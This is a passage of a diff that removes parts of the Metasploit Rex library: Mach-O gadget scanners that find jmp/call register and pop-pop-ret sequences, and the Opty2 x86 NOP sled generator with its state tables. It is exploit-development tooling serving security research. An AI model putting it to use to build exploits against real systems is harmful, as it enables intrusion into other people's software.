vaddr = hit[0]
|
||||
message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
|
||||
$stdout.puts self.mach.ptr_s(vaddr - self.mach.fat_offset) + " " + message
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def scan_segment(segment, param={})
|
||||
[]
|
||||
end
|
||||
end
|
||||
|
||||
class JmpRegScanner < Generic
|
||||
|
||||
def config(param)
|
||||
regnums = param['args']
|
||||
|
||||
# build a list of the call bytes
|
||||
calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work..
|
||||
jmps = _build_byte_list(0xe0, regnums)
|
||||
pushs1 = _build_byte_list(0x50, regnums)
|
||||
pushs2 = _build_byte_list(0xf0, regnums)
|
||||
|
||||
regexstr = '('
|
||||
if !calls.empty?
|
||||
regexstr += "\xff[#{calls}]|"
|
||||
end
|
||||
|
||||
regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))"
|
||||
|
||||
self.regex = Regexp.new(regexstr, nil, 'n')
|
||||
end
|
||||
|
||||
# build a list for regex of the possible bytes, based on a base
|
||||
# byte and a list of register numbers..
|
||||
def _build_byte_list(base, regnums)
|
||||
regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('')
|
||||
end
|
||||
|
||||
def _ret_size(offset)
|
||||
case mach.read(offset, 1)
|
||||
when "\xc3"
|
||||
return 1
|
||||
when "\xc2"
|
||||
return 3
|
||||
end
|
||||
$stderr.puts("Invalid return instruction")
|
||||
end
|
||||
|
||||
def _parse_ret(data)
|
||||
if data.length == 1
|
||||
return "ret"
|
||||
else
|
||||
return "retn 0x%04x" % data[1, 2].unpack('v')[0]
|
||||
end
|
||||
end
|
||||
|
||||
def scan_segment(segment, param={})
|
||||
base_addr = segment.vmaddr
|
||||
segment_offset = segment.fileoff
|
||||
offset = segment_offset
|
||||
|
||||
hits = []
|
||||
|
||||
while (offset = mach.index(regex, offset)) != nil
|
||||
|
||||
vaddr = base_addr + (offset - segment_offset)
|
||||
message = ''
|
||||
|
||||
parse_ret = false
|
||||
|
||||
byte1 = mach.read(offset, 1).unpack("C*")[0]
|
||||
|
||||
if byte1 == 0xff
|
||||
byte2 = mach.read(offset+1, 1).unpack("C*")[0]
|
||||
regname = Rex::Arch::X86.reg_name32(byte2 & 0x7)
|
||||
|
||||
case byte2 & 0xf8
|
||||
when 0xd0
|
||||
message = "call #{regname}"
|
||||
offset += 2
|
||||
when 0xe0
|
||||
message = "jmp #{regname}"
|
||||
offset += 2
|
||||
when 0xf0
|
||||
retsize = _ret_size(offset+2)
|
||||
message = "push #{regname}; " + _parse_ret(mach.read(offset+2, retsize))
|
||||
offset += 2 + retsize
|
||||
else
|
||||
raise "Unexpected value at offset: #{offset}"
|
||||
end
|
||||
else
|
||||
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)
|
||||
retsize = _ret_size(offset+1)
|
||||
message = "push #{regname}; " + _parse_ret(mach.read(offset+1, retsize))
|
||||
offset += 1 + retsize
|
||||
end
|
||||
|
||||
hits << [ vaddr, message ]
|
||||
end
|
||||
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
class PopPopRetScanner < JmpRegScanner
|
||||
|
||||
def config(param)
|
||||
pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's...
|
||||
self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n')
|
||||
end
|
||||
|
||||
def scan_segment(segment, param={})
|
||||
base_addr = segment.vmaddr
|
||||
segment_offset = segment.fileoff
|
||||
offset = segment_offset
|
||||
|
||||
hits = []
|
||||
|
||||
while offset < segment.fileoff + segment.filesize && (offset = mach.index(regex, offset)) != nil
|
||||
|
||||
vaddr = base_addr + (offset - segment_offset)
|
||||
message = ''
|
||||
|
||||
pops = mach.read(offset, 2)
|
||||
reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack("C*")[0] & 0x7)
|
||||
reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack("C*")[0] & 0x7)
|
||||
|
||||
message = "pop #{reg1}; pop #{reg2}; "
|
||||
|
||||
retsize = _ret_size(offset+2)
|
||||
message += _parse_ret(mach.read(offset+2, retsize))
|
||||
|
||||
offset += 2 + retsize
|
||||
|
||||
hits << [ vaddr, message ]
|
||||
end
|
||||
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
class RegexScanner < JmpRegScanner
|
||||
|
||||
def config(param)
|
||||
self.regex = Regexp.new(param['args'], nil, 'n')
|
||||
end
|
||||
|
||||
def scan_segment(segment, param={})
|
||||
base_addr = segment.vmaddr
|
||||
segment_offset = segment.fileoff
|
||||
offset = segment_offset
|
||||
|
||||
hits = []
|
||||
|
||||
while offset < segment.fileoff + segment.filesize && (offset = mach.index(regex, offset)) != nil
|
||||
|
||||
idx = offset
|
||||
buf = ''
|
||||
mat = nil
|
||||
|
||||
while (! (mat = buf.match(regex)))
|
||||
buf << mach.read(idx, 1)
|
||||
idx += 1
|
||||
end
|
||||
|
||||
vaddr = base_addr + (offset - segment_offset)
|
||||
|
||||
hits << [ vaddr, buf.unpack("H*") ]
|
||||
offset += buf.length
|
||||
end
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,109 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/arch/x86'
|
||||
require 'rex/nop/opty2_tables'
|
||||
|
||||
module Rex
|
||||
module Nop
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an interface to generating multi-byte NOP sleds for x86.
|
||||
# Optyx and spoonm get the creds!
|
||||
#
|
||||
###
|
||||
class Opty2
|
||||
|
||||
Table = Rex::Nop::Opty2Tables::StateTable
|
||||
|
||||
def initialize(badchars = '', save_registers = nil)
|
||||
self.badchars = badchars
|
||||
self.save_registers = (save_registers || []) | [ 'esp', 'ebp']
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the Opty2 multi-byte NOP sled.
|
||||
#
|
||||
def generate_sled(length)
|
||||
return '' if (length <= 0)
|
||||
|
||||
# Initialize the sled buffer, the previous state, and the current stream
|
||||
# length.
|
||||
sled = ''
|
||||
prev = 256
|
||||
slen = 0
|
||||
|
||||
# Initialize the byte count array
|
||||
counts = []
|
||||
|
||||
256.times { |idx| counts[idx] = 0 }
|
||||
|
||||
# Initialize the bad register mask
|
||||
mask = 0
|
||||
|
||||
save_registers.each { |reg|
|
||||
mask |= 1 << (Rex::Arch::X86.reg_number(reg))
|
||||
}
|
||||
mask = mask << 16
|
||||
|
||||
# Initialize the bad byte lookup table
|
||||
bad_bytes = []
|
||||
(badchars || '').each_byte { |byte|
|
||||
bad_bytes[byte] = 1
|
||||
}
|
||||
|
||||
# Build the sled
|
||||
while (length > 0)
|
||||
low = -1
|
||||
lows = []
|
||||
|
||||
Table[prev].each { |nt|
|
||||
nt.each { |e|
|
||||
# Skip it if it's masked off or too large
|
||||
next if ((e & mask) != 0)
|
||||
next if (((e >> 8) & 0xff) > slen)
|
||||
|
||||
byte = e & 0xff
|
||||
|
||||
# Skip it if it's a bad byte
|
||||
next if (bad_bytes[byte] == 1)
|
||||
|
||||
# Use it if it's a better value
|
||||
if ((low == -1) or (low > counts[byte]))
|
||||
low = counts[byte]
|
||||
lows = [byte]
|
||||
# Otherwise, if it's just as good..
|
||||
elsif (low == counts[byte])
|
||||
lows << byte
|
||||
end
|
||||
}
|
||||
}
|
||||
|
||||
# If we didn't find at least one byte possibility, then we're stuck.
|
||||
# Abort.
|
||||
if (low == -1)
|
||||
raise RuntimeError, "Failed to find a valid byte."
|
||||
end
|
||||
|
||||
# Pick a random character for the possiblities
|
||||
prev = lows[rand(lows.length)]
|
||||
|
||||
# Increment its used count
|
||||
counts[prev] += 1
|
||||
|
||||
# Prepend the byte to the sled
|
||||
sled = prev.chr + sled
|
||||
|
||||
# Increment the sled length
|
||||
slen += 1
|
||||
length -= 1
|
||||
end
|
||||
|
||||
# Return the sled
|
||||
sled
|
||||
end
|
||||
|
||||
attr_accessor :badchars, :save_registers # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,301 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Nop
|
||||
|
||||
module Opty2Tables
|
||||
|
||||
SharedShift0 =
|
||||
[
|
||||
65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,
|
||||
1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,
|
||||
65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,
|
||||
131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,
|
||||
1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,
|
||||
1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,144,
|
||||
196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,
|
||||
1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,
|
||||
524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260,
|
||||
66005,65750,245,248,249,252,253,359
|
||||
]
|
||||
|
||||
StateTable =
|
||||
[
|
||||
# 0x00
|
||||
[[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66005,65750,131552,131553,131554,483,491,245,248,249,252,253,358,359, 0x01018D]],
|
||||
[SharedShift0, [624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,131808,131809,131810,739,747,358, 0x01018D]],
|
||||
[SharedShift0, [880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,132064,132065,132066,995,1003,358, 0x01018D]],
|
||||
[SharedShift0, [1136,1137,1138,1139,1140,1141,1142,1143,1144,1145,1146,1147,1148,1149,1150,1151,132320,132321,132322,1251,1259,358, 0x01018D]],
|
||||
[SharedShift0, [1392,1393,1394,1395,1396,1397,1398,1399,1400,1401,1402,1403,1404,1405,1406,1407,132576,132577,132578,1507,1515,358]],
|
||||
[SharedShift0, [1648,1649,1650,1651,1652,1653,1654,1655,1656,1657,1658,1659,1660,1661,1662,1663,132832,132833,132834,1763,1771,358]],
|
||||
[SharedShift0, [1904,1905,1906,1907,1908,1909,1910,1911,1912,1913,1914,1915,1916,1917,1918,1919,133088,133089,133090,2019,2027,358, 0x01018D]],
|
||||
[SharedShift0, [2160,2161,2162,2163,2164,2165,2166,2167,2168,2169,2170,2171,2172,2173,2174,2175,133344,133345,133346,2275,2283,358, 0x01018D]],
|
||||
[SharedShift0, [2416,2417,2418,2419,2420,2421,2422,2423,2424,2425,2426,2427,2428,2429,2430,2431,133600,133601,133602,2531,2539,358, 0x02018D]],
|
||||
[SharedShift0, [2672,2673,2674,2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,133856,133857,133858,2787,2795,358, 0x02018D]],
|
||||
[SharedShift0, [2928,2929,2930,2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,134112,134113,134114,3043,3051,358, 0x02018D]],
|
||||
[SharedShift0, [3184,3185,3186,3187,3188,3189,3190,3191,3192,3193,3194,3195,3196,3197,3198,3199,134368,134369,134370,3299,3307,358, 0x02018D]],
|
||||
[SharedShift0, [3440,3441,3442,3443,3444,3445,3446,3447,3448,3449,3450,3451,3452,3453,3454,3455,134624,134625,134626,3555,3563,358]],
|
||||
[SharedShift0, [3696,3697,3698,3699,3700,3701,3702,3703,3704,3705,3706,3707,3708,3709,3710,3711,134880,134881,134882,3811,3819,358]],
|
||||
[SharedShift0, [3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964,3965,3966,3967,135136,135137,135138,4067,4075,358, 0x02018D]],
|
||||
[SharedShift0, [4208,4209,4210,4211,4212,4213,4214,4215,4216,4217,4218,4219,4220,4221,4222,4223,135392,135393,135394,4323,4331, 0x02018D]],
|
||||
# 0x10
|
||||
[SharedShift0, [4464,4465,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476,4477,4478,4479,135648,135649,135650,4579,4587,358, 0x04018D]],
|
||||
[SharedShift0, [4720,4721,4722,4723,4724,4725,4726,4727,4728,4729,4730,4731,4732,4733,4734,4735,135904,135905,135906,4835,4843,358, 0x04018D]],
|
||||
[SharedShift0, [4976,4977,4978,4979,4980,4981,4982,4983,4984,4985,4986,4987,4988,4989,4990,4991,136160,136161,136162,5091,5099,358, 0x04018D]],
|
||||
[SharedShift0, [5232,5233,5234,5235,5236,5237,5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,136416,136417,136418,5347,5355,358, 0x04018D]],
|
||||
[SharedShift0, [5488,5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,136672,136673,136674,5603,5611,358]],
|
||||
[SharedShift0, [5744,5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,136928,136929,136930,5859,5867,358]],
|
||||
[SharedShift0, [6000,6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,137184,137185,137186,6115,6123,358, 0x04018D]],
|
||||
[SharedShift0, [6256,6257,6258,6259,6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,137440,137441,137442,6371,6379,358, 0x04018D]],
|
||||
[SharedShift0, [6512,6513,6514,6515,6516,6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,137696,137697,137698,6627,6635,358, 0x08018D]],
|
||||
[SharedShift0, [6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779,6780,6781,6782,6783,137952,137953,137954,6883,6891,358, 0x08018D]],
|
||||
[SharedShift0, [7024,7025,7026,7027,7028,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,138208,138209,138210,7139,7147,358, 0x08018D]],
|
||||
[SharedShift0, [7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,138464,138465,138466,7395,7403,358, 0x08018D]],
|
||||
[SharedShift0, [7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551,138720,138721,138722,7651,7659,358]],
|
||||
[SharedShift0, [7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807,138976,138977,138978,7907,7915,358]],
|
||||
[SharedShift0, [8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,139232,139233,139234,8163,8171,358, 0x08018D]],
|
||||
[SharedShift0, [8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,139488,139489,139490,8419,8427,358, 0x08018D]],
|
||||
# 0x20
|
||||
[SharedShift0, [8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,139744,139745,139746,8675,8683,358, 0x10018D]],
|
||||
[SharedShift0, [8816,8817,8818,8819,8820,8821,8822,8823,8824,8825,8826,8827,8828,8829,8830,8831,140000,140001,140002,8931,8939,358, 0x10018D]],
|
||||
[SharedShift0, [9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085,9086,9087,140256,140257,140258,9187,9195,358, 0x10018D]],
|
||||
[SharedShift0, [9328,9329,9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,140512,140513,140514,9443,9451,358, 0x10018D]],
|
||||
[SharedShift0, [9584,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599,140768,140769,140770,9699,9707,358]],
|
||||
[SharedShift0, [9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854,9855,141024,141025,141026,9955,9963,358]],
|
||||
[SharedShift0, [10096,10097,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110,10111,141280,141281,141282,10211,10219,358, 0x10018D]],
|
||||
[SharedShift0, [10352,10353,10354,10355,10356,10357,10358,10359,10360,10361,10362,10363,10364,10365,10366,10367,141536,141537,141538,10467,10475,358, 0x10018D]],
|
||||
[SharedShift0, [10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618,10619,10620,10621,10622,10623,141792,141793,141794,10723,10731,358, 0x20018D]],
|
||||
[SharedShift0, [10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876,10877,10878,10879,142048,142049,142050,10979,10987,358, 0x20018D]],
|
||||
[SharedShift0, [11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,11135,142304,142305,142306,11235,11243,358, 0x20018D]],
|
||||
[SharedShift0, [11376,11377,11378,11379,11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,142560,142561,142562,11491,11499,358, 0x20018D]],
|
||||
[SharedShift0, [11632,11633,11634,11635,11636,11637,11638,11639,11640,11641,11642,11643,11644,11645,11646,11647,142816,142817,142818,11747,11755,358]],
|
||||
[SharedShift0, [11888,11889,11890,11891,11892,11893,11894,11895,11896,11897,11898,11899,11900,11901,11902,11903,143072,143073,143074,12003,12011,358]],
|
||||
[SharedShift0, [12144,12145,12146,12147,12148,12149,12150,12151,12152,12153,12154,12155,12156,12157,12158,12159,143328,143329,143330,12259,12267,358, 0x20018D]],
|
||||
[SharedShift0, [12400,12401,12402,12403,12404,12405,12406,12407,12408,12409,12410,12411,12412,12413,12414,12415,143584,143585,143586,12515,12523,358, 0x20018D]],
|
||||
# 0x30
|
||||
[SharedShift0, [12656,12657,12658,12659,12660,12661,12662,12663,12664,12665,12666,12667,12668,12669,12670,12671,143840,143841,143842,12771,12779,358, 0x40018D]],
|
||||
[SharedShift0, [12912,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926,12927,144096,144097,144098,13027,13035,358, 0x40018D]],
|
||||
[SharedShift0, [13168,13169,13170,13171,13172,13173,13174,13175,13176,13177,13178,13179,13180,13181,13182,13183,144352,144353,144354,13283,13291,358, 0x40018D]],
|
||||
[SharedShift0, [13424,13425,13426,13427,13428,13429,13430,13431,13432,13433,13434,13435,13436,13437,13438,13439,144608,144609,144610,13539,13547,358, 0x40018D]],
|
||||
[SharedShift0, [13680,13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,144864,144865,144866,13795,13803,358]],
|
||||
[SharedShift0, [13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951,145120,145121,145122,14051,14059,358]],
|
||||
[SharedShift0, [14192,14193,14194,14195,14196,14197,14198,14199,14200,14201,14202,14203,14204,14205,14206,14207,145376,145377,145378,14307,14315,358, 0x40018D]],
|
||||
[SharedShift0, [14448,14449,14450,14451,14452,14453,14454,14455,14456,14457,14458,14459,14460,14461,14462,14463,145632,145633,145634,14563,14571,358, 0x40018D]],
|
||||
[SharedShift0, [14704,14705,14706,14707,14708,14709,14710,14711,14712,14713,14714,14715,14716,14717,14718,14719,145888,145889,145890,14819,14827,358, 0x80018D]],
|
||||
[SharedShift0, [14960,14961,14962,14963,14964,14965,14966,14967,14968,14969,14970,14971,14972,14973,14974,14975,146144,146145,146146,15075,15083,358, 0x80018D]],
|
||||
[SharedShift0, [15216,15217,15218,15219,15220,15221,15222,15223,15224,15225,15226,15227,15228,15229,15230,15231,146400,146401,146402,15331,15339,358, 0x80018D]],
|
||||
[SharedShift0, [15472,15473,15474,15475,15476,15477,15478,15479,15480,15481,15482,15483,15484,15485,15486,15487,146656,146657,146658,15587,15595,358, 0x80018D]],
|
||||
[SharedShift0, [15728,15729,15730,15731,15732,15733,15734,15735,15736,15737,15738,15739,15740,15741,15742,15743,146912,146913,146914,15843,15851,358]],
|
||||
[SharedShift0, [15984,15985,15986,15987,15988,15989,15990,15991,15992,15993,15994,15995,15996,15997,15998,15999,147168,147169,147170,16099,16107,358]],
|
||||
[SharedShift0, [16240,16241,16242,16243,16244,16245,16246,16247,16248,16249,16250,16251,16252,16253,16254,16255,147424,147425,147426,16355,16363,358, 0x80018D]],
|
||||
[SharedShift0, [16496,16497,16498,16499,16500,16501,16502,16503,16504,16505,16506,16507,16508,16509,16510,16511,147680,147681,147682,16611,16619,358, 0x80018D]],
|
||||
# 0x40
|
||||
[SharedShift0, [16752,16753,16754,16755,16756,16757,16758,16759,16760,16761,16762,16763,16764,16765,16766,16767,147936,147937,147938,16867,16875,358, 0x01028D]],
|
||||
[SharedShift0, [17008,17009,17010,17011,17012,17013,17014,17015,17016,17017,17018,17019,17020,17021,17022,17023,148192,148193,148194,17123,17131,358, 0x01028D]],
|
||||
[SharedShift0, [17264,17265,17266,17267,17268,17269,17270,17271,17272,17273,17274,17275,17276,17277,17278,17279,148448,148449,148450,17379,17387,358, 0x01028D]],
|
||||
[SharedShift0, [17520,17521,17522,17523,17524,17525,17526,17527,17528,17529,17530,17531,17532,17533,17534,17535,148704,148705,148706,17635,17643,358, 0x01028D]],
|
||||
[SharedShift0, [17776,17777,17778,17779,17780,17781,17782,17783,17784,17785,17786,17787,17788,17789,17790,17791,148960,148961,148962,17891,17899,358]],
|
||||
[SharedShift0, [18032,18033,18034,18035,18036,18037,18038,18039,18040,18041,18042,18043,18044,18045,18046,18047,149216,149217,149218,18147,18155,358, 0x01028D]],
|
||||
[SharedShift0, [18288,18289,18290,18291,18292,18293,18294,18295,18296,18297,18298,18299,18300,18301,18302,18303,149472,149473,149474,18403,18411,358, 0x01028D]],
|
||||
[SharedShift0, [18544,18545,18546,18547,18548,18549,18550,18551,18552,18553,18554,18555,18556,18557,18558,18559,149728,149729,149730,18659,18667,358, 0x01028D]],
|
||||
[SharedShift0, [18800,18801,18802,18803,18804,18805,18806,18807,18808,18809,18810,18811,18812,18813,18814,18815,149984,149985,149986,18915,18923,358, 0x02028D]],
|
||||
[SharedShift0, [19056,19057,19058,19059,19060,19061,19062,19063,19064,19065,19066,19067,19068,19069,19070,19071,150240,150241,150242,19171,19179,358, 0x02028D]],
|
||||
[SharedShift0, [19312,19313,19314,19315,19316,19317,19318,19319,19320,19321,19322,19323,19324,19325,19326,19327,150496,150497,150498,19427,19435,358, 0x02028D]],
|
||||
[SharedShift0, [19568,19569,19570,19571,19572,19573,19574,19575,19576,19577,19578,19579,19580,19581,19582,19583,150752,150753,150754,19683,19691,358, 0x02028D]],
|
||||
[SharedShift0, [19824,19825,19826,19827,19828,19829,19830,19831,19832,19833,19834,19835,19836,19837,19838,19839,151008,151009,151010,19939,19947,358]],
|
||||
[SharedShift0, [20080,20081,20082,20083,20084,20085,20086,20087,20088,20089,20090,20091,20092,20093,20094,20095,151264,151265,151266,20195,20203,358, 0x02028D]],
|
||||
[SharedShift0, [20336,20337,20338,20339,20340,20341,20342,20343,20344,20345,20346,20347,20348,20349,20350,20351,151520,151521,151522,20451,20459,358, 0x02028D]],
|
||||
[SharedShift0, [20592,20593,20594,20595,20596,20597,20598,20599,20600,20601,20602,20603,20604,20605,20606,20607,151776,151777,151778,20707,20715,358, 0x02028D]],
|
||||
# 0x50
|
||||
[SharedShift0, [20848,20849,20850,20851,20852,20853,20854,20855,20856,20857,20858,20859,20860,20861,20862,20863,152032,152033,152034,20963,20971,358, 0x04028D]],
|
||||
[SharedShift0, [21104,21105,21106,21107,21108,21109,21110,21111,21112,21113,21114,21115,21116,21117,21118,21119,152288,152289,152290,21219,21227,358, 0x04028D]],
|
||||
[SharedShift0, [21360,21361,21362,21363,21364,21365,21366,21367,21368,21369,21370,21371,21372,21373,21374,21375,152544,152545,152546,21475,21483,358, 0x04028D]],
|
||||
[SharedShift0, [21616,21617,21618,21619,21620,21621,21622,21623,21624,21625,21626,21627,21628,21629,21630,21631,152800,152801,152802,21731,21739,358, 0x04028D]],
|
||||
[SharedShift0, [21872,21873,21874,21875,21876,21877,21878,21879,21880,21881,21882,21883,21884,21885,21886,21887,153056,153057,153058,21987,21995,358]],
|
||||
[SharedShift0, [22128,22129,22130,22131,22132,22133,22134,22135,22136,22137,22138,22139,22140,22141,22142,22143,153312,153313,153314,22243,22251,358, 0x04028D]],
|
||||
[SharedShift0, [22384,22385,22386,22387,22388,22389,22390,22391,22392,22393,22394,22395,22396,22397,22398,22399,153568,153569,153570,22499,22507,358, 0x04028D]],
|
||||
[SharedShift0, [22640,22641,22642,22643,22644,22645,22646,22647,22648,22649,22650,22651,22652,22653,22654,22655,153824,153825,153826,22755,22763,358, 0x04028D]],
|
||||
[SharedShift0, [22896,22897,22898,22899,22900,22901,22902,22903,22904,22905,22906,22907,22908,22909,22910,22911,154080,154081,154082,23011,23019,358, 0x08028D]],
|
||||
[SharedShift0, [23152,23153,23154,23155,23156,23157,23158,23159,23160,23161,23162,23163,23164,23165,23166,23167,154336,154337,154338,23267,23275,358, 0x08028D]],
|
||||
[SharedShift0, [23408,23409,23410,23411,23412,23413,23414,23415,23416,23417,23418,23419,23420,23421,23422,23423,154592,154593,154594,23523,23531,358, 0x08028D]],
|
||||
[SharedShift0, [23664,23665,23666,23667,23668,23669,23670,23671,23672,23673,23674,23675,23676,23677,23678,23679,154848,154849,154850,23779,23787,358, 0x08028D]],
|
||||
[SharedShift0, [23920,23921,23922,23923,23924,23925,23926,23927,23928,23929,23930,23931,23932,23933,23934,23935,155104,155105,155106,24035,24043,358]],
|
||||
[SharedShift0, [24176,24177,24178,24179,24180,24181,24182,24183,24184,24185,24186,24187,24188,24189,24190,24191,155360,155361,155362,24291,24299,358, 0x08028D]],
|
||||
[SharedShift0, [24432,24433,24434,24435,24436,24437,24438,24439,24440,24441,24442,24443,24444,24445,24446,24447,155616,155617,155618,24547,24555,358, 0x08028D]],
|
||||
[SharedShift0, [24688,24689,24690,24691,24692,24693,24694,24695,24696,24697,24698,24699,24700,24701,24702,24703,155872,155873,155874,24803,24811,358, 0x08028D]],
|
||||
# 0x60
|
||||
[SharedShift0, [24944,24945,24946,24947,24948,24949,24950,24951,24952,24953,24954,24955,24956,24957,24958,24959,156128,156129,156130,25059,25067,358, 0x10028D]],
|
||||
[SharedShift0, [25200,25201,25202,25203,25204,25205,25206,25207,25208,25209,25210,25211,25212,25213,25214,25215,156384,156385,156386,25315,25323,358, 0x10028D]],
|
||||
[SharedShift0, [25456,25457,25458,25459,25460,25461,25462,25463,25464,25465,25466,25467,25468,25469,25470,25471,156640,156641,156642,25571,25579,358, 0x10028D]],
|
||||
[SharedShift0, [25712,25713,25714,25715,25716,25717,25718,25719,25720,25721,25722,25723,25724,25725,25726,25727,156896,156897,156898,25827,25835,358, 0x10028D]],
|
||||
[SharedShift0, [25968,25969,25970,25971,25972,25973,25974,25975,25976,25977,25978,25979,25980,25981,25982,25983,157152,157153,157154,26083,26091,358]],
|
||||
[SharedShift0, [26224,26225,26226,26227,26228,26229,26230,26231,26232,26233,26234,26235,26236,26237,26238,26239,157408,157409,157410,26339,26347,358, 0x10028D]],
|
||||
[[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,26480,26481,26482,26483,26484,26485,26486,26487,26488,26489,26490,26491,26492,26493,26494,26495,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260,66005,65750,157664,157665,157666,26595,26603,245,248,249,252,253, 0x10028D]],
|
||||
[[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,26736,26737,26738,26739,26740,26741,26742,26743,26744,26745,26746,26747,26748,26749,26750,26751,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260,66005,65750,157920,157921,157922,26851,26859,245,248,249,252,253, 0x10028D]],
|
||||
[SharedShift0, [26992,26993,26994,26995,26996,26997,26998,26999,27000,27001,27002,27003,27004,27005,27006,27007,158176,158177,158178,27107,27115,358, 0x20028D]],
|
||||
[SharedShift0, [27248,27249,27250,27251,27252,27253,27254,27255,27256,27257,27258,27259,27260,27261,27262,27263,158432,158433,158434,27363,27371,358, 0x20028D]],
|
||||
[SharedShift0, [27504,27505,27506,27507,27508,27509,27510,27511,27512,27513,27514,27515,27516,27517,27518,27519,158688,158689,158690,27619,27627,358, 0x20028D]],
|
||||
[SharedShift0, [27760,27761,27762,27763,27764,27765,27766,27767,27768,27769,27770,27771,27772,27773,27774,27775,158944,158945,158946,27875,27883,358, 0x20028D]],
|
||||
